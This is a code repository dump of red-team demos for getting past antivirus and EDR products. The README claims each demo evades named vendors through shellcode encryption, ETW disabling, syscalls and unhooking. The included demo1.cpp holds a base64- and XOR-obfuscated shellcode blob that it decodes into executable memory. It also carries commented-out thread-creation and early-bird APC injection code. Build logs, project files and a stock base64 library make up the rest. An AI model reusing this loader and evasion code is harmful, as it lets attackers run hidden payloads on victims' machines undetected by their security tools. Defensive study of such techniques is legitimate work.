Repository: 7BitsTeam/EDR-Bypass-demo Branch: main Commit: 11ea33e1a5b2 Files: 280 Total size: 471.0 KB Directory structure: gitextract_5ot6inlx/ ├── README.md ├── chapter4-demo1/ │ ├── demo1/ │ │ ├── Debug/ │ │ │ ├── demo1.log │ │ │ ├── demo1.obj │ │ │ ├── demo1.obj.enc │ │ │ ├── demo1.tlog/ │ │ │ │ ├── CL.command.1.tlog │ │ │ │ ├── CL.read.1.tlog │ │ │ │ ├── CL.write.1.tlog │ │ │ │ ├── demo1.lastbuildstate │ │ │ │ ├── link.command.1.tlog │ │ │ │ ├── link.read.1.tlog │ │ │ │ └── link.write.1.tlog │ │ │ ├── vc142.idb │ │ │ └── vc142.pdb │ │ ├── Header.h │ │ ├── base64.cpp │ │ ├── base64.h │ │ ├── demo1.cpp │ │ ├── demo1.vcxproj │ │ ├── demo1.vcxproj.filters │ │ ├── demo1.vcxproj.user │ │ └── x64/ │ │ ├── Debug/ │ │ │ ├── base64.obj │ │ │ ├── demo1.exe.recipe │ │ │ ├── demo1.ilk │ │ │ ├── demo1.log │ │ │ ├── demo1.obj │ │ │ ├── demo1.tlog/ │ │ │ │ ├── CL.command.1.tlog │ │ │ │ ├── CL.read.1.tlog │ │ │ │ ├── CL.write.1.tlog │ │ │ │ ├── demo1.lastbuildstate │ │ │ │ ├── link.command.1.tlog │ │ │ │ ├── link.read.1.tlog │ │ │ │ └── link.write.1.tlog │ │ │ ├── vc142.idb │ │ │ ├── vc142.pdb │ │ │ ├── vc143.idb │ │ │ └── vc143.pdb │ │ └── Release/ │ │ ├── base64.obj │ │ ├── demo1.exe.recipe │ │ ├── demo1.iobj │ │ ├── demo1.ipdb │ │ ├── demo1.log │ │ ├── demo1.obj │ │ ├── demo1.tlog/ │ │ │ ├── CL.command.1.tlog │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── demo1.lastbuildstate │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ └── link.write.1.tlog │ │ └── vc143.pdb │ ├── demo1.sln │ └── enc.py ├── chapter4-demo2/ │ ├── demo1/ │ │ ├── Debug/ │ │ │ ├── demo1.log │ │ │ ├── demo1.obj │ │ │ ├── demo1.obj.enc │ │ │ ├── demo1.tlog/ │ │ │ │ ├── CL.command.1.tlog │ │ │ │ ├── CL.read.1.tlog │ │ │ │ ├── CL.write.1.tlog │ │ │ │ ├── demo1.lastbuildstate │ │ │ │ ├── link.command.1.tlog │ │ │ │ ├── link.read.1.tlog │ │ │ │ └── link.write.1.tlog │ │ │ ├── vc142.idb │ │ │ └── vc142.pdb │ │ ├── Header.h │ │ ├── base64.cpp │ │ ├── base64.h │ │ ├── demo1 - 快捷方式.lnk │ │ ├── demo1.cpp │ │ ├── demo1.vcxproj │ │ ├── demo1.vcxproj.filters │ │ ├── demo1.vcxproj.user │ │ ├── nt.asm │ │ ├── nt.h │ │ └── x64/ │ │ ├── Debug/ │ │ │ ├── base64.obj │ │ │ ├── demo1.exe.recipe │ │ │ ├── demo1.ilk │ │ │ ├── demo1.log │ │ │ ├── demo1.obj │ │ │ ├── demo1.tlog/ │ │ │ │ ├── CL.command.1.tlog │ │ │ │ ├── CL.read.1.tlog │ │ │ │ ├── CL.write.1.tlog │ │ │ │ ├── demo1.lastbuildstate │ │ │ │ ├── link.command.1.tlog │ │ │ │ ├── link.read.1.tlog │ │ │ │ └── link.write.1.tlog │ │ │ ├── vc142.idb │ │ │ ├── vc142.pdb │ │ │ ├── vc143.idb │ │ │ └── vc143.pdb │ │ └── Release/ │ │ ├── base64.obj │ │ ├── demo1.exe.recipe │ │ ├── demo1.iobj │ │ ├── demo1.ipdb │ │ ├── demo1.log │ │ ├── demo1.obj │ │ ├── demo1.tlog/ │ │ │ ├── CL.command.1.tlog │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── Masm.read.1u.tlog │ │ │ ├── Masm.write.1u.tlog │ │ │ ├── demo1.lastbuildstate │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ └── link.write.1.tlog │ │ ├── nt.obj │ │ └── vc143.pdb │ ├── demo1.sln │ └── enc.py ├── chapter4-demo3/ │ ├── demo1/ │ │ ├── Debug/ │ │ │ ├── demo1.log │ │ │ ├── demo1.obj │ │ │ ├── demo1.obj.enc │ │ │ ├── demo1.tlog/ │ │ │ │ ├── CL.command.1.tlog │ │ │ │ ├── CL.read.1.tlog │ │ │ │ ├── CL.write.1.tlog │ │ │ │ ├── demo1.lastbuildstate │ │ │ │ ├── link.command.1.tlog │ │ │ │ ├── link.read.1.tlog │ │ │ │ └── link.write.1.tlog │ │ │ ├── vc142.idb │ │ │ └── vc142.pdb │ │ ├── Header.h │ │ ├── base64.cpp │ │ ├── base64.h │ │ ├── demo1 - 快捷方式.lnk │ │ ├── demo1.cpp │ │ ├── demo1.vcxproj │ │ ├── demo1.vcxproj.filters │ │ ├── demo1.vcxproj.user │ │ ├── nt.asm │ │ ├── nt.h │ │ └── x64/ │ │ ├── Debug/ │ │ │ ├── base64.obj │ │ │ ├── demo1.exe.recipe │ │ │ ├── demo1.ilk │ │ │ ├── demo1.log │ │ │ ├── demo1.obj │ │ │ ├── demo1.tlog/ │ │ │ │ ├── CL.command.1.tlog │ │ │ │ ├── CL.read.1.tlog │ │ │ │ ├── CL.write.1.tlog │ │ │ │ ├── demo1.lastbuildstate │ │ │ │ ├── link.command.1.tlog │ │ │ │ ├── link.read.1.tlog │ │ │ │ └── link.write.1.tlog │ │ │ ├── vc142.idb │ │ │ ├── vc142.pdb │ │ │ ├── vc143.idb │ │ │ └── vc143.pdb │ │ └── Release/ │ │ ├── base64.obj │ │ ├── demo1.exe.recipe │ │ ├── demo1.iobj │ │ ├── demo1.ipdb │ │ ├── demo1.log │ │ ├── demo1.tlog/ │ │ │ ├── CL.command.1.tlog │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── Masm.read.1u.tlog │ │ │ ├── Masm.write.1u.tlog │ │ │ ├── demo1.lastbuildstate │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ ├── link.write.1.tlog │ │ │ └── unsuccessfulbuild │ │ ├── nt.obj │ │ └── vc143.pdb │ └── demo1.sln ├── chapter4-demo4/ │ ├── CODE_OF_CONDUCT.md │ ├── LICENSE.txt │ ├── README.md │ ├── ShellcodeFluctuation/ │ │ ├── ShellcodeFluctuation.vcxproj │ │ ├── ShellcodeFluctuation.vcxproj.filters │ │ ├── ShellcodeFluctuation.vcxproj.user │ │ ├── base64.cpp │ │ ├── base64.h │ │ ├── header.h │ │ ├── main.cpp │ │ └── x64/ │ │ ├── Debug/ │ │ │ ├── Shellcod.9eed9e19.tlog/ │ │ │ │ ├── CL.command.1.tlog │ │ │ │ ├── CL.read.1.tlog │ │ │ │ ├── CL.write.1.tlog │ │ │ │ ├── ShellcodeFluctuation.lastbuildstate │ │ │ │ ├── link.command.1.tlog │ │ │ │ ├── link.read.1.tlog │ │ │ │ └── link.write.1.tlog │ │ │ ├── ShellcodeFluctuation.exe.recipe │ │ │ ├── ShellcodeFluctuation.ilk │ │ │ ├── ShellcodeFluctuation.log │ │ │ ├── base64.obj │ │ │ ├── main.obj │ │ │ ├── vc143.idb │ │ │ └── vc143.pdb │ │ └── Release/ │ │ ├── Shellcod.9eed9e19.tlog/ │ │ │ ├── CL.command.1.tlog │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── ShellcodeFluctuation.lastbuildstate │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ └── link.write.1.tlog │ │ ├── ShellcodeFluctuation.exe.recipe │ │ ├── ShellcodeFluctuation.iobj │ │ ├── ShellcodeFluctuation.ipdb │ │ ├── ShellcodeFluctuation.log │ │ ├── base64.obj │ │ ├── main.obj │ │ └── vc143.pdb │ ├── ShellcodeFluctuation.sln │ └── x64/ │ ├── Debug/ │ │ └── ShellcodeFluctuation.pdb │ └── Release/ │ └── ShellcodeFluctuation.pdb ├── demo1/ │ ├── README.md │ └── shellcode_execute/ │ └── shellcode_execute/ │ ├── shellcode_execute/ │ │ ├── resource.h │ │ ├── shellcode_execute.aps │ │ ├── shellcode_execute.cpp │ │ ├── shellcode_execute.rc │ │ ├── shellcode_execute.vcxproj │ │ ├── shellcode_execute.vcxproj.filters │ │ └── shellcode_execute.vcxproj.user │ └── shellcode_execute.sln ├── demo2/ │ ├── README.md │ └── shellcode_execut3/ │ ├── shellcode_execut3/ │ │ ├── App.config │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ └── shellcode_execut3.csproj │ └── shellcode_execut3.sln ├── demo3/ │ ├── README.md │ └── SharpInjector-master/ │ ├── .gitignore │ ├── README.md │ ├── ScEncryptor/ │ │ ├── App.config │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ └── ScEncryptor.csproj │ ├── SharpInjector/ │ │ ├── App.config │ │ ├── CreateFiber.cs │ │ ├── CreateRemoteThread.cs │ │ ├── CreateRemoteThreadEx.cs │ │ ├── CreateThread.cs │ │ ├── EtwpCreateEtwThread.cs │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resource1.Designer.cs │ │ │ └── Resource1.resx │ │ ├── QueueUserAPC.cs │ │ ├── RtlCreateUserThread.cs │ │ ├── SharpInjector.csproj │ │ ├── Shellycode.cs │ │ └── WinAPI.cs │ └── SharpInjector.sln ├── demo4/ │ └── syscall/ │ ├── syscall/ │ │ ├── Syscall.asm │ │ ├── syscall.vcxproj │ │ ├── syscall.vcxproj.filters │ │ ├── syscall.vcxproj.user │ │ ├── syscall_call.cpp │ │ └── x64/ │ │ └── Debug/ │ │ ├── Syscall.obj │ │ ├── syscall.exe.recipe │ │ ├── syscall.ilk │ │ ├── syscall.log │ │ ├── syscall.tlog/ │ │ │ ├── CL.command.1.tlog │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── Masm.read.1u.tlog │ │ │ ├── Masm.write.1u.tlog │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ ├── link.write.1.tlog │ │ │ └── syscall.lastbuildstate │ │ ├── syscall_call.obj │ │ ├── vc143.idb │ │ └── vc143.pdb │ └── syscall.sln ├── demo5/ │ └── syscall3/ │ ├── syscall3/ │ │ ├── 1-asm.x64.asm │ │ ├── 1.cpp │ │ ├── 1.h │ │ ├── syscall3.cpp │ │ ├── syscall3.vcxproj │ │ ├── syscall3.vcxproj.filters │ │ └── syscall3.vcxproj.user │ └── syscall3.sln └── demo6/ ├── unhook_demo/ │ ├── Header.h │ ├── unhook_demo.cpp │ ├── unhook_demo.vcxproj │ ├── unhook_demo.vcxproj.filters │ └── unhook_demo.vcxproj.user └── unhook_demo.sln ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # EDR-Bypass-demo Some demos to bypass EDRs or AVs by 78itsT3@m ## 本文为7bits系列文章《红队队开发基础-基础免杀》的示例代码 ### 欢迎关注我们的公众号 - Zbits2022 ![](/images/qrcode.jpg) ### demo 1-3 为《红队队开发基础-基础免杀(一)》的内容 - demo1: c++代码,使用disableETW,shellcode加密,隐藏导入表的免杀方式对shellcode进行免杀 - demo2: c#代码,使用字符串加密、异或加密、沙箱绕过方式进行bypass AV。 - demo3: c#代码,优化demo2的shellcode加载方式,修改SharpInjector,使用EtwpCreateEtwThread加载shellcode。 ### demo 4-5 为《红队队开发基础-基础免杀(二)》的内容 - demo4: c++代码,最简单的syscall例子 - demo5: c++代码,使用SysWhispers3的jump方法,绕过对syscall的静态检查 ### demo 6 为《红队开发基础-基础免杀(三)》的内容 - demo6: c++代码,修改RefleXXion使其对user32.dll进行unhook。 ### chapter4 demo1-4为《红队开发基础-基础免杀(四)》的内容 下面的例子均是忽略流量特征的情况: - demo1:base64+xor混淆shellcode,过360,火绒。 ![](/images/360.png) ![](/images/hr.png) - demo2:加强了静态混淆,过definder,麦咖啡。 ![](/images/def.png) ![](/images/mcafee.png) - demo3:加入syscall及apc调用方式,过卡巴斯基edr ![](/images/kar.png) - demo4:加入beacon的内存加密,过eset edr ![](/images/eset.png) ================================================ FILE: chapter4-demo1/demo1/Debug/demo1.log ================================================  demo1.vcxproj -> E:\7bits_demo\demo1\demo1\Debug\demo1.exe ================================================ FILE: chapter4-demo1/demo1/Debug/demo1.tlog/demo1.lastbuildstate ================================================ #TargetFrameworkVersion=v4.0:PlatformToolSet=v142:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0 Debug|Win32|E:\7bits_demo\demo1\demo1\| ================================================ FILE: chapter4-demo1/demo1/Header.h ================================================ #pragma once const int XOR_KEY{ 8 }; ================================================ FILE: chapter4-demo1/demo1/base64.cpp ================================================ /* base64.cpp and base64.h base64 encoding and decoding with C++. More information at https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp Version: 2.rc.08 (release candidate) Copyright (C) 2004-2017, 2020, 2021 Ren?Nyffenegger This source code is provided 'as-is', without any express or implied warranty. In no event will the author be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this source code must not be misrepresented; you must not claim that you wrote the original source code. If you use this source code in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original source code. 3. This notice may not be removed or altered from any source distribution. Ren?Nyffenegger rene.nyffenegger@adp-gmbh.ch */ #include "base64.h" #include #include // // Depending on the url parameter in base64_chars, one of // two sets of base64 characters needs to be chosen. // They differ in their last two characters. // static const char* base64_chars[2] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/", "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" }; static unsigned int pos_of_char(const unsigned char chr) { // // Return the position of chr within base64_encode() // if (chr >= 'A' && chr <= 'Z') return chr - 'A'; else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1; else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2; else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' else // // 2020-10-23: Throw std::exception rather than const char* //(Pablo Martin-Gomez, https://github.com/Bouska) // throw std::runtime_error("Input is not valid base64-encoded data."); } static std::string insert_linebreaks(std::string str, size_t distance) { // // Provided by https://github.com/JomaCorpFX, adapted by me. // if (!str.length()) { return ""; } size_t pos = distance; while (pos < str.size()) { str.insert(pos, "\n"); pos += distance + 1; } return str; } template static std::string encode_with_line_breaks(String s) { return insert_linebreaks(base64_encode(s, false), line_length); } template static std::string encode_pem(String s) { return encode_with_line_breaks(s); } template static std::string encode_mime(String s) { return encode_with_line_breaks(s); } template static std::string encode(String s, bool url) { return base64_encode(reinterpret_cast(s.data()), s.length(), url); } std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) { size_t len_encoded = (in_len + 2) / 3 * 4; unsigned char trailing_char = url ? '.' : '='; // // Choose set of base64 characters. They differ // for the last two positions, depending on the url // parameter. // A bool (as is the parameter url) is guaranteed // to evaluate to either 0 or 1 in C++ therefore, // the correct character set is chosen by subscripting // base64_chars with url. // const char* base64_chars_ = base64_chars[url]; std::string ret; ret.reserve(len_encoded); unsigned int pos = 0; while (pos < in_len) { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]); if (pos + 1 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]); if (pos + 2 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]); ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]); } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]); ret.push_back(trailing_char); } } else { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]); ret.push_back(trailing_char); ret.push_back(trailing_char); } pos += 3; } return ret; } template static std::string decode(String encoded_string, bool remove_linebreaks) { // // decode(? is templated so that it can be used with String = const std::string& // or std::string_view (requires at least C++17) // if (encoded_string.empty()) return std::string(); if (remove_linebreaks) { std::string copy(encoded_string); copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end()); return base64_decode(copy, false); } size_t length_of_string = encoded_string.length(); size_t pos = 0; // // The approximate length (bytes) of the decoded string might be one or // two bytes smaller, depending on the amount of trailing equal signs // in the encoded string. This approximation is needed to reserve // enough space in the string to be returned. // size_t approx_length_of_decoded_string = length_of_string / 4 * 3; std::string ret; ret.reserve(approx_length_of_decoded_string); while (pos < length_of_string) { // // Iterate over encoded input string in chunks. The size of all // chunks except the last one is 4 bytes. // // The last chunk might be padded with equal signs or dots // in order to make it 4 bytes in size as well, but this // is not required as per RFC 2045. // // All chunks except the last one produce three output bytes. // // The last chunk produces at least one and up to three bytes. // size_t pos_of_char_1 = pos_of_char(encoded_string[pos + 1]); // // Emit the first output byte that is produced in each chunk: // ret.push_back(static_cast(((pos_of_char(encoded_string[pos + 0])) << 2) + ((pos_of_char_1 & 0x30) >> 4))); if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045) encoded_string[pos + 2] != '=' && encoded_string[pos + 2] != '.' // accept URL-safe base 64 strings, too, so check for '.' also. ) { // // Emit a chunk's second byte (which might not be produced in the last chunk). // unsigned int pos_of_char_2 = pos_of_char(encoded_string[pos + 2]); ret.push_back(static_cast(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2))); if ((pos + 3 < length_of_string) && encoded_string[pos + 3] != '=' && encoded_string[pos + 3] != '.' ) { // // Emit a chunk's third byte (which might not be produced in the last chunk). // ret.push_back(static_cast(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string[pos + 3]))); } } pos += 4; } return ret; } std::string base64_decode(std::string const& s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } std::string base64_encode(std::string const& s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string const& s) { return encode_pem(s); } std::string base64_encode_mime(std::string const& s) { return encode_mime(s); } #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url) { return encode(s, url); } std::string base64_encode_pem(std::string_view s) { return encode_pem(s); } std::string base64_encode_mime(std::string_view s) { return encode_mime(s); } std::string base64_decode(std::string_view s, bool remove_linebreaks) { return decode(s, remove_linebreaks); } #endif // __cplusplus >= 201703L ================================================ FILE: chapter4-demo1/demo1/base64.h ================================================ // // base64 encoding and decoding with C++. // Version: 2.rc.08 (release candidate) // #ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A #include #if __cplusplus >= 201703L #include #endif // __cplusplus >= 201703L std::string base64_encode(std::string const& s, bool url = false); std::string base64_encode_pem(std::string const& s); std::string base64_encode_mime(std::string const& s); std::string base64_decode(std::string const& s, bool remove_linebreaks = false); std::string base64_encode(unsigned char const*, size_t len, bool url = false); #if __cplusplus >= 201703L // // Interface with std::string_view rather than const std::string& // Requires C++17 // Provided by Yannic Bonenberger (https://github.com/Yannic) // std::string base64_encode(std::string_view s, bool url = false); std::string base64_encode_pem(std::string_view s); std::string base64_encode_mime(std::string_view s); std::string base64_decode(std::string_view s, bool remove_linebreaks = false); #endif // __cplusplus >= 201703L #endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */ ================================================ FILE: chapter4-demo1/demo1/demo1.cpp ================================================ // demo1.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #include "header.h" #include "base64.h" using namespace std; unsigned char* ReadProcessBlob(const char* fnamSc, DWORD* szSc) { DWORD szRead{ 0 }; HANDLE hFile = CreateFileA( fnamSc, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (INVALID_HANDLE_VALUE == hFile) return nullptr; SIZE_T szFile = GetFileSize(hFile, NULL); *szSc = szFile; unsigned char* raw = new unsigned char[szFile]; unsigned char* sc = new unsigned char[szFile]; if (!ReadFile(hFile, raw, szFile, &szRead, NULL)) return nullptr; int i; for (i = 0; i < szRead; i++) { sc[i] = raw[i] ^ XOR_KEY; } return sc; } int main() { bool all_tests_passed = false; std::string rest2_reference = "9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9/f3VWIIQbZ/YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsFgICAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39/f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9/f3J0V8UEwIQShDvCCeEfnGqz4QOUCZb1k9zZRfrP2kaoTlwQZQ+aY4tgZwQlaNp0lYfmGOcGoGYzblJRLD9V4TH2y6c1s4iOAMlePMttdpgghde216JUlvbWZ8MihFZ3JhZGRpJzwmOCgga2dleGl8YWpkbTMoRVtBTSg/JjgzKF9hZmxnf3soRlwoPSY5IQUCCM1l6QoDmhAeJZoutN1CPkoMbBYRT4p4JodhVtQQ/QXiL7U61RfcwKRjFq95GITSknVDXEYydGh4NjiMRT6a43pevMz6zCoiQMDcYy/1jHjhWWvhVp/6TPSIiL5RP8LaSwpz++6FswyGtYnKUJ+da0rRw4YW4GE1isJ9yBukKGBzCetRpZrAZtf8AZPUpuLRg9gLYdXFeifw5yhKxN4jy6BQV14m/VHXb2WO3XrQXc7c0CxfgIM1rYMHGVMH6y9uyurrF7uMzIg+sptJ4pFTYuzDslBKxx4+qcw2ikCPTsks2vAe8rGqLYAwlP4+eRcISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CB+UCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl/X39zkxOiY5PjAmOCY5OzkIWQG3ZQ=="; std::string rest2_decoded = base64_decode(rest2_reference); const char* S = rest2_decoded.c_str(); unsigned char* sc = new unsigned char[rest2_decoded.length()]; for (int i = 0; i < rest2_decoded.length(); i++) { sc[i] = S[i] ^ XOR_KEY; } void * exec = VirtualAlloc(0, rest2_decoded.length(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, sc, rest2_decoded.length()); //unsigned const char* S= ((void(*)())exec)(); /* CreateThread HANDLE hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL); if (hThread == NULL) { return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); */ /* eariler bird APC SIZE_T shellSize = szSc; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, S, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); */ } // Run program: Ctrl + F5 or Debug > Start Without Debugging menu // Debug program: F5 or Debug > Start Debugging menu // Tips for Getting Started: // 1. Use the Solution Explorer window to add/manage files // 2. Use the Team Explorer window to connect to source control // 3. Use the Output window to see build output and other messages // 4. Use the Error List window to view errors // 5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project // 6. In the future, to open this project again, go to File > Open > Project and select the .sln file ================================================ FILE: chapter4-demo1/demo1/demo1.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 {1876F365-2DEC-42C9-B80E-B631B26FCAD8} Win32Proj demo1 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true true false false Level3 Disabled true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 Disabled true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 MaxSpeed true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 MaxSpeed true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true ================================================ FILE: chapter4-demo1/demo1/demo1.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd Source Files Source Files Resource Files Resource Files\Header Files ================================================ FILE: chapter4-demo1/demo1/demo1.vcxproj.user ================================================  ================================================ FILE: chapter4-demo1/demo1/x64/Debug/demo1.exe.recipe ================================================  C:\Users\Admin\Desktop\demo1\x64\Debug\demo1.exe ================================================ FILE: chapter4-demo1/demo1/x64/Debug/demo1.log ================================================  base64.cpp demo1.cpp C:\Users\Admin\Desktop\demo1\demo1\demo1.cpp(28,10): warning C4244: “=”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 C:\Users\Admin\Desktop\demo1\demo1\demo1.cpp(33,28): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 C:\Users\Admin\Desktop\demo1\demo1\demo1.cpp(38,16): warning C4018: “<”: 有符号/无符号不匹配 正在生成代码... demo1.vcxproj -> C:\Users\Admin\Desktop\demo1\x64\Debug\demo1.exe ================================================ FILE: chapter4-demo1/demo1/x64/Debug/demo1.tlog/demo1.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Debug|x64|C:\Users\Admin\Desktop\demo1\| ================================================ FILE: chapter4-demo1/demo1/x64/Release/demo1.exe.recipe ================================================  C:\Users\Admin\Desktop\demo1\x64\Release\demo1.exe ================================================ FILE: chapter4-demo1/demo1/x64/Release/demo1.log ================================================  base64.cpp demo1.cpp C:\Users\Admin\Desktop\demo1\demo1\demo1.cpp(28,10): warning C4244: “=”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 C:\Users\Admin\Desktop\demo1\demo1\demo1.cpp(33,28): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 C:\Users\Admin\Desktop\demo1\demo1\demo1.cpp(38,16): warning C4018: “<”: 有符号/无符号不匹配 正在生成代码 Previous IPDB not found, fall back to full compilation. All 132 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 demo1.vcxproj -> C:\Users\Admin\Desktop\demo1\x64\Release\demo1.exe ================================================ FILE: chapter4-demo1/demo1/x64/Release/demo1.tlog/demo1.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Release|x64|C:\Users\Admin\Desktop\demo1\| ================================================ FILE: chapter4-demo1/demo1.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.28729.10 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "demo1", "demo1\demo1.vcxproj", "{1876F365-2DEC-42C9-B80E-B631B26FCAD8}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x64.ActiveCfg = Debug|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x64.Build.0 = Debug|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x86.ActiveCfg = Debug|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x86.Build.0 = Debug|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x64.ActiveCfg = Release|x64 